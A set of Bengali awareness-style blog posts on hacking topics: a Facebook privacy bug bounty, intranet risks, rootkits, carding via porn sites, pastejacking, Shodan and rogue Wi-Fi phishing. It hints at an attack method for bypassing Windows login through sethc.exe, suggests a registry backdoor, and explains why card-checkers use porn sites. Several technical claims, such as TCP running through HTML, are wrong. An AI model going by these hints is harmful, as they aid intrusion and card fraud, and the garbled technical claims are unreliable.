আপনি নিশ্চয়ই জানেন- ফেসবুকে বিভিন্ন event এর আয়োজন করা যায় যেমন- ফ্রি কোর্স, live সেমিনার ইত্যাদির জন্য নির্দিষ্ট তারিখের event তৈরি করা হয়। এসব event এর নিচে interested নামের একটি অপশন লেখা থাকে। আপনি চাইলেই সেখানে ক্লিক করে যুক্ত হতে পারেন। তখন অন্যরাও দেখতে পারবে যে, আপনি interested। কিন্তু, আপনি হয়তো চাচ্ছেন যে, এই event এ আপনি যে interested, সেটা অন্যকেউ না দেখুক। সেক্ষেত্রে আপনাকে hide করে রাখার একটি অপশন আছে। কিন্তু, **Vivek** নামক একজন হ্যাকার ফেসবুককে দেখিয়েছেন- কিভাবে এসব hidden মেম্বারকে দেখা সম্ভব।

পদ্ধতি হচ্ছে- আপনাকে যদি এমন কোন ফেসবুক গ্রুপে mention করা হয়, যেই গ্রুপে আপনি member না; তাহলে আপনাকে mention করা হলেও আপনার নাম কিছুটা ছাই রঙের হয়ে থাকবে। ঠিক একই লজিক অনুযায়ী আপনাকে যদি এমন কোন event এ mention করা হয়- যেখানে আপনি member না, তাহলে আপনার নাম হালকা রঙের হয়ে যাবে। কিন্তু, আপনি সেখানের member হয়ে থাকলে আপনাকে যদি hide করাও হয়ে থাকে, তবুও আপনাকে mention করলে আপনার নাম ভালোভাবেই দেখা যাবে। ফলে, privacy বিষয়টি আর থাকছে না।

এই বিষয়টি যখন Vivek নামক একজন হ্যাকার ফেসবুককে জানান, তখন ফেসবুক তাকে ৮০,০০০ টাকা পুরস্কার প্রদান করে এবং privacy রক্ষার্থে প্রয়োজনীয় পদক্ষেপ গ্রহণ করে।

তাই, যারা আপনাকে ফেসবুক একাউন্ট হ্যাক করে দেওয়ার কথা বলবে, তাদেরকে বলে দিবেন- "তুমি ফেসবুক হ্যাক করতে পারলে বিষয়টি ফেসবুককেই জানাও; তারাই তোমাকে কোটি কোটি টাকা পুরস্কার দিবে।"

সালটি ২০২১ ছিল

অন্যের নেটওয়ার্ক হ্যাক

আমরা ১টি ফ্ল্যাটের দ্বিতীয় তলায় থাকি। সেই দ্বিতীয় তলায় আমাদের পাশাপাশি ২টি ব্যাংকের অফিস রয়েছে। বিদ্যুৎ চলে গেলে আমাদের ওয়াই-ফাই চলে গেলেও ব্যাংকের ওয়াই-ফাই ঠিকই থাকে। তাদের আলাদা নেটওয়ার্কের টাওয়ার রয়েছে; যেটা আমাদের সাধারণ ইন্টারনেট থেকে আলাদা। তাদের নেটওয়ার্ক নিয়ে কিছুটা কৌতূহলী ছিলাম। এরপর একদিন আব্বুর সাথে কম্পিউটারের UPS কিনতে গেলাম। শো-রুমে দেখলাম নিজস্ব/আলাদা নেটওয়ার্ক। ফলে, এই বিষয়ে কৌতূহল আরও বেড়ে গেলো। এগুলো হয়তো **intranet **এর বাস্তব উদাহরণ।

কিন্তু, এই নেটওয়ার্ক কতোখানি নিরাপদ?

প্রথমতো, এই নেটওয়ার্কের মাধ্যমে যারা অফিসিয়াল কাজ করেন- সেসকল কর্মকর্তা এবং কর্মচারীদের নেটওয়ার্ক সম্বন্ধে কতোটুকু জ্ঞান আছে, এটাই প্রশ্ন। এসকল নেটওয়ার্ক তাদের সাথে connected নেটওয়ার্ক হ্যাক হওয়ার মাধ্যমেই হ্যাক হয়ে যেতে পারে। আজকে এই বিষয়েই সংক্ষিপ্ত আলোচনা করবো।

মূলত, সারা দেশে এই ধরনের নেটওয়ার্কের সাথে সংযুক্ত যতোগুলো অফিস রয়েছে, সেই সবগুলো অফিসই একটি আরেকটির সাথে connected

রয়েছে। অনেকটা প্রোগ্রামিং এর **rpc call** এর মতো কাজ হয়। আপনি ব্যাংকের এক শাখায় টাকা পাঠালেন, অন্যান্য শাখায় সেই বিষয়ক data চলে যাচ্ছে। কিন্তু, সমস্যা হচ্ছে- একটি অফিস থেকে অন্যান্য অফিসের data পরিবর্তন করার সুযোগ থাকলে একটি অফিস হ্যাক হয়ে গেলেই, সেই অফিসের প্রধান কর্মকর্তার account ব্যাবহার করে সারা দেশের অন্যান্য অফিসের data হ্যাক করা সম্ভব। এমনকি সেই data গুলো encrypt করে ransomware আক্রমণ হিসেবে বিশাল অংকের টাকা দাবী করাও সম্ভব।

আবার, শো-রুমে কোনকিছু কিনলে, সেই তথ্য তারা তাদের নেটওয়ার্কের ওয়েব-সার্ভারে পাঠিয়ে দেয়। এছাড়াও, অনেক সময় অফিসিয়াল কাজের স্বার্থে অফিসের কম্পিউটারের সাথে console ডিভাইসকে যুক্ত করা হতে পারে। অর্থাৎ, নিজেদের অফিসিয়াল নেটওয়ার্কের ডিভাইসকে আরেক নেটওয়ার্কের ডিভাইসের সাথে সরাসরি connect করা হচ্ছে। এটাকে **Dual-Homed-Hosts** সিস্টেম বলে। সেক্ষেত্রেও অফিসিয়াল নেটওয়ার্কের ডিভাইস হ্যাক হলে অন্য (remote) নেটওয়ার্কের ডিভাইস হ্যাক করা খুবই সহজ হবে। এমনকি একজন হ্যাকার যদি অফিসের সেই remote নেটওয়ার্কের আইপি এড্রেস না-ও জানে, তারপরও অফিসে যদি **NetBIOS** enable থাকে তাহলেই, নিচের command দিয়ে আইপি এড্রেস বের করা সম্ভব-

> **nextnet <office's local IP>**

এছাড়াও ব্যাংকের জন্য আন্তর্জাতিকভাবে **SWIFT** নেটওয়ার্ক

রয়েছে। এই নেটওয়ার্ক ব্যাবহার করেই বাংলাদেশ ব্যাংক থেকে ২০১৬ সালে ১ বিলিয়ন ডলার হ্যাক হয়েছিলো। তাই, এসব নেটওয়ার্ক নিরাপদ রাখতে হলে সাইবার সিকিউরিটি স্পেশালিষ্টদেরকে নিয়োগ দেওয়া অপরিহার্য।

আমি ইন্টারনেট বেশি চালাই না

অধিকাংশ মানুষের মধ্যেই ইন্টারনেট সম্পর্কে একটি ভুল ধারনা রয়েছে। সেটি হলো- "আমি ইন্টারনেট বেশি চালাই না। তাই আমার হ্যাক হওয়ার ভয় নেই"। আমি বলবো, আপনি ইন্টারনেট কম ব্যাবহার করার কারনে অনেকক্ষেত্রে আপনার হ্যাক হওয়ার ঝুঁকিই বেশি।

একটি উদাহরণ দেওয়া যাক-

মনে করুন আপনার ফেসবুক একাউন্ট হ্যাক হয়ে গিয়েছে। হ্যাক করার পর হ্যাকার আপনার Gmail একাউন্ট পরিবর্তন করে দিলো। এখন আপনার Gmail একাউন্টে একটি মেইল আসবে। আপনি চাইলে ৪৮ ঘন্টার মধ্যে আগের Gmail একাউন্ট দিয়ে login করে হ্যাকারের Gmail একাউন্ট সরিয়ে ফেলতে পারবেন। কিন্তু, আপনি যদি ৪/ ৫ দিন পরপর ইন্টারনেটে আসেন তাহলে তার আগেই হ্যাকার আপনার একাউন্ট নিয়ে চলে যাবে।

জানা-অজানা কিছু ওয়েব ব্রাউজার

আমরা ইন্টারনেট ব্যাবহার করার জন্য প্রথমেই একটি ওয়েব ব্রাউজার open করি। ওয়েব ব্রাউজার বলতে অনেকেই শুধু Google, Firefox ইত্যাদিকে বুঝে থাকেন। কিন্তু, আরও জানা-অজানা অসংখ্য ওয়েব ব্রাউজার রয়েছে। সেগুলোর মধ্যে থেকে আজকে অল্প কয়েকটি গুরুত্বপূর্ণ ওয়েব ব্রাউজার নিয়ে আলোচনা করবো।

Google

Google এর কথা তো আমরা সবাই জানি। প্রতিদিন মানুষ প্রায় কয়েক বিলিয়ন সার্চ করে Google ব্রাউজার দিয়ে। আর, Google একটি ফ্রি ইমেইল সেবাও দিয়ে থাকে, যাকে আমরা জিমেইল হিসেবে জানি।

DuckDuckGo

যারা ইন্টারনেটে নিজের ব্যক্তিগত তথ্য সুরক্ষিত রাখতে চান, বেশিরভাগ ক্ষেত্রে তারাই DuckDuckGo ব্যাবহার করে থাকেন। কারণ, এটা দিয়ে আপনি যা কিছুই সার্চ করুন না কেনো- সেগুলো track করবে না।

TOR

আপনি ডিপ ওয়েব এর কথা শুনেছেন নিশ্চয়ই? সেই ডিপ ওয়েবের যেসকল ওয়েবসাইটের লিংকের শেষে **.onion** লেখা থাকে, সেসব ওয়েবসাইটে কেবলমাত্র এই TOR ব্রাউজার দিয়েই প্রবেশ করা যায়। সেই সাথে, সাধারন ইন্টারনেট ব্যাবহারের জন্যেও এই ওয়েব ব্রাউজার ব্যাবহার করা যায়। পৃথিবীর বিভিন্ন শ্রেণী-পেশার মানুষ এই ওয়েব ব্রাউজার ব্যাবহার করে থাকেন। এই ওয়েব ব্রাউজার দিয়ে ইন্টারনেট ব্যাবহার করলে ইন্টারনেটে একজন ব্যক্তি কি করছেন তা জানা একদমই অসম্ভব।

Ecosia

Ecosia ওয়েব ব্রাউজারটি আসলেই অন্যরকম। এই ওয়েব ব্রাউজারে বিজ্ঞাপন দেখিয়ে যেই পরিমাণ অর্থ উপার্জিত হয়, তার ৮০ শতাংসই গাছ লাগানোর জন্য অনুদান হিসেবে দেওয়া হয়।

এছাড়াও আরও অসংখ্য ওয়েব ব্রাউজার রয়েছে। কিছু কিছু ওয়েব ব্রাউজার ব্যাবহার করলে কোন ধরনের বিজ্ঞাপন দেখতে হয় না কিন্তু, সেগুলো ব্যাবহার করতে টাকা দিয়ে subscribe করতে হয়। তবে, যতো ওয়েব ব্রাউজারই থাকুক না কেনো- আপনি সেটাই ব্যাবহার করুন, যেটা ব্যাবহার করলে আপনার ব্যক্তিগত তথ্য অধিক সুরক্ষিত থাকবে।

Rootkit

সুপার ম্যালওয়্যার

কম্পিউটারে rootkit নামে এক ধরণের malware থাকতে পারে- যেটার উপস্থিতি সম্বন্ধে আপনার কম্পিউটার নিজেই জানবে না। আর, কম্পিউটারে যদি একবার rootkit প্রবেশ করে, তাহলে সেই কম্পিউটার থেকে rootkit সরানোর গ্যারান্টি দেওয়া প্রায় অসম্ভব।

Rootkit এর সংজ্ঞা

প্রথমেই ১ টি প্রশ্ন করি- আপনি কি আপনার কম্পিউটারে থাকা অডিও, ভিডিওকে নিরাপদ মনে করেন? আমি শতভাগ নিরাপদ মনে করি না; সর্বোচ্চ ৯৯% নিরাপদ মনে করি। এর যথেষ্ট কারণ আছে। যেমন ধরুন- একটি file এর শুরুতে header নামক একটি অংশ থাকে। সেখানে file এর পরিচয় থাকে। তাই, আমি একটি ওয়েবসাইটে এমন file আপলোড করলাম- যার header এ রয়েছে PDF এর header কিন্তু, file এর data হিসেবে অন্য ক্ষতিকর code লিখে দিলাম। তাহলে, বিশেষ কিছু শর্ত পূরণ হলে এই PDF হয়ে যাবে একটি ম্যালওয়্যার।

এখন মূল আলোচনায় আসা যাক- rootkit এর সংজ্ঞা কি? দেখুন-

কম্পিউটারের সকল কাজ করা হয় অপারেটিং সিস্টেমের মাধ্যমে। আর, এই অপারেটিং সিস্টেম প্রতিনিয়ত যেসব হার্ডওয়্যার ব্যাবহার করে, সেগুলো ব্যাবহার করার আগে check করা হয়- কম্পিউটারটি যিনি (user) ব্যাবহার করছেন, হার্ডওয়্যারটি ব্যাবহার করার মতো privilege বা, ক্ষমতা তার আছে কিনা। Windows কম্পিউটার দিয়ে উদাহরণ দেওয়া যাক। আপনি যখন কম্পিউটারে কোনকিছু install করতে চান, তখন **run as administrator** করতে হয়। কারন, সাধারণ বা, normal user হিসেবে আপনি এটা করতে পারবেন না। তো, এসব IOPL এর মতো sensitive বিষয় check করার কাজ করে- কম্পিউটারের kernel। কিন্তু, এই kernel হচ্ছে একটি প্রোগ্রাম- যার অনেক component বা, অংশ আছে। তাই, কেউ যদি আপনার কম্পিউটারের kernel লেভেলের privilege পেয়ে যায় এবং সেখানে (ring 0) কার্নেল driver হিসেবে ক্ষতিকর প্রোগ্রাম যুক্ত করে দেয়, তাহলে অনেক এন্টি ভাইরাসও সেটাকে শনাক্ত করতে পারবে না। কারন, কার্নেল driver কে অনেক এন্টি ভাইরাস scan করে না। এছাড়া, driver এর জন্য অন্যের সার্টিফিকেটও ব্যাবহার করা যায়; বিশেষ করে, Windows যখন যাচাই করে যে, কম্পিউটারে একটি driver ব্যাবহার করা যাবে কিনা- তখন সেই driver এর সার্টিফিকেটের দিকে গুরুত্ব দেয় না।

তাই, উপরের আলোচনায় rootkit হচ্ছে এমন এক ম্যালওয়্যার-

* যেটি kernel লেভেলের privilege নিয়ে কাজ করে। যদিও, বিশেষ অপারেটিং সিস্টেমে software লেভেলেরও হতে পারে।

* কম্পিউটার restart করলেও rootkit কাজ করে।

এখন অনেকে প্রশ্ন করবেন- 'একজন ব্যক্তি কিভাবে আমার কম্পিউটারে rootkit প্রবেশ করাবে'? দেখুন- Linux কম্পিউটারে **/etc/sudoers** নামক file কে edit করে privilege বা, ক্ষমতা নিতে হবে; যার জন্য password জনতে হবে। কিন্তু, Windows কম্পিউটারে **.bat** বা, **.exe** file কে run as administrator করলে সহজেই system file এর permission পাওয়া যায়। ফলে, খুব অল্প সময়ের মধ্যেই একজন ব্যক্তি আপনার কম্পিউটারে এটা করতে পারবে। আবার, আপনার কম্পিউটারের সরাসরি access পেলে Windows কম্পিউটারের **sethc.exe** কে rename করে user password পরিবর্তন করে login করা সম্ভব। আর, তারপর regedit এর মাধ্যমে **HKEY_LOCAL_MACHINE** থেকে CurrentControlSet এর অন্তর্ভূক্ত key এর value পরিবর্তন করে rootkit হিসেবে backdoor তৈরী করে দেওয়া সম্ভব। তবে, সম্পুর্ন পদ্ধতি বলবো না যেহেতু, সেটা ফেসবুক policy -র বিরুদ্ধে যাবে।

যাই হোক, কম্পিউটারে rootkit প্রবেশ করার পর ইন্টারনেট ব্যাবহার করেই আপনার কম্পিউটার সেই ব্যক্তির কম্পিউটারের সাথে connect হয়ে, তার command অনুযায়ী কাজ করতে সক্ষম হবে। কিন্তু, আপনার কম্পিউটার বুঝতেই পারবে না যে, এটি একটি ম্যালওয়্যার। কারণ, এই rootkit তো এখন অপারেটিং সিস্টেমেরই অংশ হয়ে গিয়েছে।

কিভাবে শনাক্ত করবো?

শুরুতেই বলেছি- কম্পিউটারে যদি একবার rootkit প্রবেশ করে, তাহলে সেই কম্পিউটার থেকে rootkit সরানোর গ্যারান্টি দেওয়া প্রায় অসম্ভব। অর্থাৎ, শত চেষ্টা করার পরেও, rootkit এখনও আছে কিনা- সেই সন্দেহ থেকেই যাবে। কারন, হতে পারে rootkit আপনার কম্পিউটারের হার্ডডিস্ক এর firmware এর মধ্যে রয়েছে কিংবা, BIOS এর মধ্যে! তারপরেও, USB পেনড্রাইভ থেকে live boot করে, সেই ম্যালওয়্যার মুক্ত অপারেটিং সিস্টেমের সাথে rootkit আক্রান্ত অপারেটিং সিস্টেমের তুলনা করে দেখা যেতে পারে- কোন পার্থক্য আছে কিনা। এছাড়া, কম্পিউটার থেকে ইন্টারনেটে যেসব traffic যাওয়া-আসা করবে, সেগুলো analysis করার মাধ্যমেও অনেক কিছু আন্দাজ করা সম্ভব। যদিও, অনেকেই পরামর্শ দিবে- rootkit আক্রান্ত কম্পিউটার থেকে ইন্টারনেট সংযোগ বিচ্ছিন্ন করে দিতে। তবে, ইন্টারনেট ট্রাফিক analysis করার মাধ্যমে অপরাধীকে শনাক্ত করার একটি সম্ভাবনা থাকে। কিন্তু, খুব জ্ঞানী হ্যাকারের বিষয় আলাদা। বাস্তবে এমন অনেক হ্যাকার আছে, যাদেরকে বিলিয়ন ডলার বাজেটের গোয়েন্দা সংস্থাও খুঁজে বের করতে পারে নি। আর, বড় বড় হ্যাকাররা rootkit দিয়েই আক্রমণ করার চেষ্টা করবে। তাই, rootkit থেকে সাবধান!

পর্ন ইনভেস্টিগেশন

ক্রেডিট কার্ড হ্যাকিং করতে নাকি porn ওয়েবসাইটের দরকার হয়। কিন্তু, কেনো? আমার এই লেখাটি পড়তে থাকুন, জেনে যাবেন। মূলত, ১০ বছর আগেও আমাদের দেশে চটি গল্প পড়ার মাধ্যমেই অনেক কিশোর ও যুবকগণ এক প্রকার পাশবিক চাহিদা পূরণ করতো। অনেকে আবার কম্পিউটার ক্যাফে-তে গিয়ে পর্ন ভিডিও দেখার চেষ্টা করতো। কিন্তু, ইন্টারনেট ব্যাবহার করতে না জানায় সেসব ভিডিও খুঁজেই পেতো না অনেকে। যদিও, তখন Google এর সার্ভিসও এতোটা উন্নত ছিলো না। অনেকে আবার গান আপলোড দেওয়ার দোকানে গিয়ে ইংরেজি Y অক্ষরের আগের অক্ষর বলে কিছু একটা মেমোরিতে নিয়ে আসতো। আবার, অনেক সময় যুবক ছেলে দেখলে দোকানদার নিজে থেকেই এসব আপলোড করে দিতো। আমার এখনও মনে আছে- একবার ঈদের আগেরদিন আমার এক বন্ধু একজন দোকানদারকে পেনড্রাইভ দিয়েছিলো কিছু অডিও নেওয়ার জন্য; আর, সেই দোকানদার নিজে থেকেই **ইয়ের** ভিডিও সহ দিয়ে দিয়েছিলো। এরপর আমার বন্ধু পেনড্রাইভটি বাসায় নিয়ে গিয়ে তার বাবাকে দেয়- অফিসের কম্পিউটার থেকে scan করিয়ে আনার জন্য। বাকীটা ইতিহাস!

যাই হোক, ১০ বছর আগের তুলনায় এখনকার প্রযুক্তি অনেক উন্নত। কিছু দেশের আইনি অনুকূলতায় পর্ন সাইটের ব্যবসা এখন রমরমা। যদিও, ২০১৯ সালের দিকে anti-pornography war নামক কার্যক্রমের মাধ্যমে সেই সময়কার প্রায় সকল পর্ন ওয়েবসাইট বাংলাদেশ থেকে block করে

দেওয়া হয়। সরকার পদক্ষেপ নিয়েছে, ঠিক। কিন্তু, এতে করে পর্ন দেখা বন্ধ হয় নি; উল্টো বরং VPN এর ব্যবসায় সবুজ বাতি জ্বলেছে।

যাই হোক, অনেক দেশে 'পর্ন দেখা' হচ্ছে- ব্যক্তি স্বাধীনতার অন্তর্ভূক্ত। ফলে, গড়ে উঠেছে পর্ন সেলিব্রিটি। এতোকিছুর মধ্যেও Youtube এর মতো প্লাটফরমে পর্ন ভিডিও নিষিদ্ধ। যদিও, অনেক বড়লোক পিতার সন্তানেরা দামি হোটেলে গিয়ে নারীদের সাথে ভিডিও করে Youtube -এ দেয় এবং নির্দিষ্ট পরিমাণ like হলে সেই ভিডিওর বাকী অংশ (পর্ন ভিডিও) পর্ন ওয়েবসাইটে আপলোড করার অঙ্গীকারও করে থাকে। এছাড়া, Youtube -এ মেডিকেল, শিল্প, শিক্ষামূলক ইত্যাদি বিষয়ক ভিডিওতে উলঙ্গ দৃশ্য থাকলেও সেটায় Youtube থেকে কোন সমস্যা না হওয়ায় অনেকেই এরকম ভিডিও আপলোড করে থাকে। আবার, এমন অনেকেই আছে, যারা তাদের Youtube ভিডিওর title -এ pron শব্দটি লিখে দেয়, যাতে করে search দিয়ে সহজে খুঁজে পাওয়া যায়।

তবে, ধীরে ধীরে জঘন্য কিছু বিষয় পর্ন জগতে প্রবেশ করেছে। যেমন-

* কিছু কিছু ওয়েবসাইটে (বিশেষ করে ডার্ক ওয়েবে) মানুষের যৌন অঙ্গে ধারালো অস্ত্র দিয়ে নির্যাতন করার ভিডিও আপলোড করা হয়।

* অনেক ওয়েবসাইটে শুধুমাত্র পশুর সাথে মানুষের যৌনাচারের ভিডিও দেখানো হয়।

* আবার, অনেক জঘন্য ওয়েবসাইটে মানুষের pee, enema fluid পান করা কিংবা, fart করার ভিডিও দেখানো হয়। এসব বিষয়ে আর বেশি কিছু বলার রুচি আমার নেই।

পর্ন জগতের বিস্তৃতি ক্রমাগত বেড়েই চলেছে। ক্রেডিট কার্ড হ্যাকিং বা, carding করার ক্ষেত্রেও এসব পর্ন website ব্যাবহার করতে দেখা যায়। কারন, একটি কার্ড বর্তমানে সচল আছে কিনা- সেটা যাচাই করতে গেলে সাধারণ ওয়েবসাইটে সেই কার্ড block হওয়ার সম্ভাবনা থাকে। কিন্তু, পর্ন সাইটে সাধারণত এরকম সমস্যা নেই। তবে, পর্ন ওয়েবসাইটে হ্যাকিং এর স্বীকার হওয়াও কিন্তু নতুন কিছু না।

বাংলাদেশে পর্ন ওয়েবসাইটগুলো block করা থাকলেও অনেক সময় নতুন কিংবা, অপ্রসিদ্ধ ওয়েবসাইটে VPN ছাড়াই প্রবেশ করা যায়। তাছাড়া, এখন তো করোনা মহামারীতে লকডাউনে সন্তানেরা ঘরে বসে আছে আর, হাতে রয়েছে মোবাইল। তাই, আপনার সন্তানকে তার অধিকার দেওয়ার পাশাপাশি নজরে রাখুন।

HTML দিয়ে NASA হ্যাক?

কয়েকদিন আগে PHP ল্যাঙ্গুয়েজের source code হ্যাক হয়ে গিয়েছিলো। বুঝতে পারছেন বিষয়টি? ইন্টারনেটের প্রায় ৮০% ওয়েবসাইট যেই ল্যাঙ্গুয়েজ ব্যাবহার করে তৈরি হয়েছে, সেই ল্যাঙ্গুয়েজের source code -ই হ্যাক করে পরিবর্তন করা হয়েছিলো! তবে, PHP কিন্তু ওয়েবসাইট গঠনের মূল ল্যাঙ্গুয়েজ না। বরং, ওয়েবসাইটের মূল ল্যাঙ্গুয়েজ হচ্ছে- HTML। তারপরও অনেকেই মজা করে বলে থাকে, "HTML দিয়ে NASA হ্যাক করবা নাকি?" অনেক সময় এক্সপার্টরাও কথাটি বলে থাকেন; কিন্তু, তাদের উদ্দেশ্য HTML কে ছোট করা না। এরপরও কেউ যদি তাদের এই কথা শুনে HTML কে মূল্যহীন মনে করে, সেটা মারাত্মক ভুল।

খেয়াল করে দেখুন- ডার্ক ওয়েব (এবং সাধারণ ইন্টারনেট) -এর অল্পকিছু ওয়েবসাইট ব্যাতীত প্রায় সকল ওয়েবসাইট-ই তৈরি হয়েছে HTML দিয়ে। W3C এবং WHATWG নামক community দ্বারা এই ল্যাঙ্গুয়েজ maintain করা হয়ে থাকে। বর্তমানে বিভিন্ন ওয়েবসাইট (বিশেষ করে অনলাইন শপিং প্লাটফরম গুলো) REST API ব্যাবহার করে থাকে। যারা API সম্বন্ধে জানেন না, তাদেরকে জানিয়ে দিচ্ছি-

> API হলো এমন একটি প্রোগ্রাম, যেটি এক ওয়েবসাইটের data আরেক ওয়েবসাইটে প্রেরণ করতে ব্যাবহার করা হয়।

REST API এসব তথ্য প্রেরণের ক্ষেত্রে JSON, XML কিংবা, HTML হিসেবে প্রেরণ করে থাকে। তাই, বুঝতেই পারছেন- ওয়েবসাইট তৈরি করা থেকে শুরু করে ওয়েবসাইটের তথ্য প্রেরণ করা ইত্যাদি সকল ক্ষেত্রেই HTML জড়িত থাকছেই।

আবার, আপনি হয়তো ওয়াই-ফাই ব্যাবহার করেন। ওয়াই-ফাই রাউটারে switch থাকলেও wireless পদ্ধতিতে রাউটার থেকে যতো data আপনার ডিভাইসে আসছে, সেগুলো hub এর মতো ব্রডকাস্ট হয়; অর্থাৎ, আপনার জন্য পাঠানো data সেই রাউটারের রেঞ্জের মধ্যে সবখানে যেতে থাকে। অবশেষে আপনার ডিভাইসের সন্ধান পেলে আপনার ডিভাইসে সেই data পাঠিয়ে দেওয়া হয়। আর, এই data গুলো কিন্তু HTML এর মাধ্যমেই ওয়েবসাইট থেকে আসবে। কিন্তু, রাউটার যখন এসব data ব্রডকাস্ট করবে, তখন খারাপ হ্যাকার আপনার রাউটারের এসব data -র copy নিতে পারবে। আর, যেকোনভাবে encrypted html তথ্যগুলো decrypt করতে পারলেই আপনার ব্যক্তিগত সকল তথ্য পরিষ্কারভাবে দেখা যাবে।

এছাড়া, হ্যাকিং করার সময় ওয়েবসাইটের source code থেকে যেসব Javascript ফাইল বের করা হয়, সেগুলো তো HTML এর মধ্যেই থাকে! সেই সাথে, ওয়েবসাইটে প্রবেশ করলে ওয়েবসাইটের সাথে আপনার ওয়েব ব্রাউজার যেই TCP প্রটোকলের মাধ্যমে connection তৈরি করে, সেই TCP প্রটোকল কিন্তু HTML এর মাধ্যমেই প্রতিষ্ঠিত থাকে।

আবার, অনেক ওয়েবসাইট আপনার ওয়েব ব্রাউজারের মাধ্যমে পাঠানো HTML code (key:value) দিয়েই অনেক কিছু যাচাই করতে পারে। সেক্ষেত্রে, আপনার ওয়েব ব্রাউজারের এসব code তো আপনার নিয়ন্ত্রণেই থাকবে। তাই, আপনি চাইলেই এসব পরিবর্তন করে দিয়ে অনেক sensitive তথ্য পেয়ে যেতে পারেন। বিশেষ করে, ওয়েব সার্ভার হ্যাকিং এর পর HTML এর প্রয়োজন হয়।

মূল কথা, ওয়েব হ্যাকিং এর প্রায় সবকিছু HTML এর মাধ্যমেই হচ্ছে। সেটা হোক প্রত্যক্ষ কিংবা, পরোক্ষ। HTML এর অনেক পদ্ধতিই পুরাতন। আর, এটাই সমস্যা। কারন, পুরাতন পদ্ধতিই সাইবার অপরাধীরা নতুনভাবে ব্যাবহার করে।

Copy-paste দিয়ে হ্যাক

PASTEJACKING

ওয়েবসাইট থেকে একটি লেখা copy করলেন, কিন্তু paste করার সময় অন্য লেখা paste হলে কেমন হবে? এমনটা বাস্তবে করা সম্ভব এবং এই পদ্ধতিকে Pastejacking বলা হয়। আজকে এই পদ্ধতিটি নিয়ে আলোচনা করবো, যাতে করে আপনারা সাবধান থাকতে পারেন।

নিচের ওয়েবসাইটে গেলে দেখতে পারবেন- একটি লেখা copy করতে বলা হয়েছে। কিন্তু, সেই লেখা copy করার পর Notepad এর মধ্যে সেই লেখা paste করলে অন্য লেখা paste হয়ে যাবে।

> https://security.love/Pastejacking/

ক্ষতি কি?

এই Pastejacking এর মাধ্যমে আপনি কিভাবে ক্ষতির স্বীকার হতে পারেন, জানতে চান?

মনে করুন- আপনার কম্পিউটারে একটি সমস্যা দেখা দিয়েছে। আপনার মাথায় প্রচুর অস্থিরতা কাজ করছে। আপনি ইন্টারনেটে সেই সমস্যার সমাধান search করছেন। একটি ওয়েবসাইটে বলা আছে-

> নিচে লেখা command টি কম্পিউটারে run করলেই সমস্যার সমাধান হয়ে যাবে।

কিন্তু, ওয়েবসাইটে লেখা command টি copy করলে অন্য একটি ক্ষতিকর কমান্ড copy হয়ে যাবে। এখন আপনি ওয়েবসাইট থেকে command টি copy করে আপনার কম্পিউটারে paste করার পর কোনকিছু না দেখেই run করে দিলেন!

ফলাফল- ক্ষতিকর command টি run হবে। এর মাধ্যমে সেই ওয়েবসাইটের মালিক আপনার কম্পিউটারের অসংখ্য information পেয়ে যেতে পারে কিংবা, হ্যাক করার জন্য backdoor -ও তৈরি করে দিতে পারে।

তাই, এখন থেকে Pastejacking এর কথা মনে রাখবেন, কেমন? আর হ্যাঁ, ঈদের আগে আর কোন post দিতে পারছি না। ততোদিন পর্যন্ত আপনারা সবাই সুস্থ থাকুন, নিরাপদ থাকুন। ধন্যবাদ।

Shodan

ডিভাইস হ্যাকিং

বাংলাদেশের কয়টি কম্পিউটারে Windows ব্যাবহার করা হচ্ছে, সেটা আপনি **Shodan** সার্চ ইঞ্জিনে search করেই জানতে পারবেন। শুধু Windows না বরং, যেকোন অপারেটিং সিস্টেম কিংবা, ওয়েব সার্ভার থেকে শুরু করে CC ক্যামেরা এবং ইন্টারনেটে যুক্ত ডিভাইসের সন্ধান করা সম্ভব।

যেমন ধরুন- বর্তমানে বাংলাদেশের কয়টি কম্পিউটারে Windows ব্যাবহার করা হচ্ছে, সেটা জানতে Shodan -এ নিচের query লিখে সার্চ করতে হবে- os:"windows" country:BD

এছাড়াও আরও অনেক তথ্য খুঁজে বের করা সম্ভব Shodan ব্যাবহার করে। কারন, ইন্টারনেটের সাথে সংযুক্ত ডিভাইসগুলো নিয়মিত scan করা হচ্ছে!

ফ্রি ওয়াই-ফাই

বর্তমানে অনেক স্থানে ফ্রি ওয়াই-ফাই থাকে। এসব ফ্রি ওয়াই-ফাই ব্যাবহার করা অনেক সময় বিপদজনক হতে পারে। মনে করুন- আপনি একজনের ওয়াই-ফাই ব্যাবহার করছেন। আপনি যখনই কোন ওয়েবসাইটে প্রবেশ করতে চাইবেন, তখনই DNS সার্ভার থেকে ওয়েব ব্রাউজার সেই ওয়েবসাইটের আইপি এড্রেস খুঁজে বের করবে। কিন্তু, মনে করুন ওয়াই-ফাই রাউটারের মালিক তার নিজের কম্পিউটারের আইপি এড্রেসকে DNS সার্ভার হিসেবে set করে রেখেছে। তাই, এখন যদি আপনি কোন ওয়েবসাইটে প্রবেশ করতে চান, তখন ওয়াই-ফাই মালিকের আইপি এড্রেস দিয়ে সেই ওয়েবসাইটের আইপি এড্রেস খুঁজে বের করা হবে। কিন্তু, ওয়াই-ফাই মালিক তার নিজের আইপি এড্রেসে ফেসবুকের মতো দেখতে নকল ওয়েবসাইট চালু (host) করে রেখেছে এবং রাউটারে এমন Settings করে রেখেছে যে, তার রাউটার ব্যাবহার করে কেউ যদি ফেসবুকে প্রবেশ করতে চায় তখন, তার বানানো নকল ফেসবুকে প্রবেশ হয়ে যাবে। তাই, আপনি যখন তার ওয়াই-ফাই ব্যাবহার করে ফেসবুকে প্রবেশ করবেন, তখন মূলত তার নকল ফেসবুকে প্রবেশ করবেন। তাই, সেখানে আপনি ফেসবুকের পাসওয়ার্ড লিখলে পাসওয়ার্ড চলে যাবে ওয়াই-ফাই মালিকের কাছে।

বিয়ে বাড়িতে সব আত্মীয়-স্বজন একসাথে হওয়ার মজাই আলাদা। আর, বিয়ে বাড়িতে ওয়াই-ফাই থাকলে তো কথাই নেই! ফ্রি ইন্টারনেট ব্যাবহার করার মজাই আলাদা। কিন্তু, তাই বলে সব জায়গার ফ্রি ইন্টারনেট মোটেও ভালো না। আপনি যদি কোন হোটেলের ফ্রি ওয়াই-ফাই ব্যাবহার করেন তাহলে বিপদে পড়তে পারেন। এর মধ্যে একটি বিপদ হচ্ছে honeypot এর বিপদ। আপনি কি জানেন, honeypot কি? চলুন, জেনে নেই-

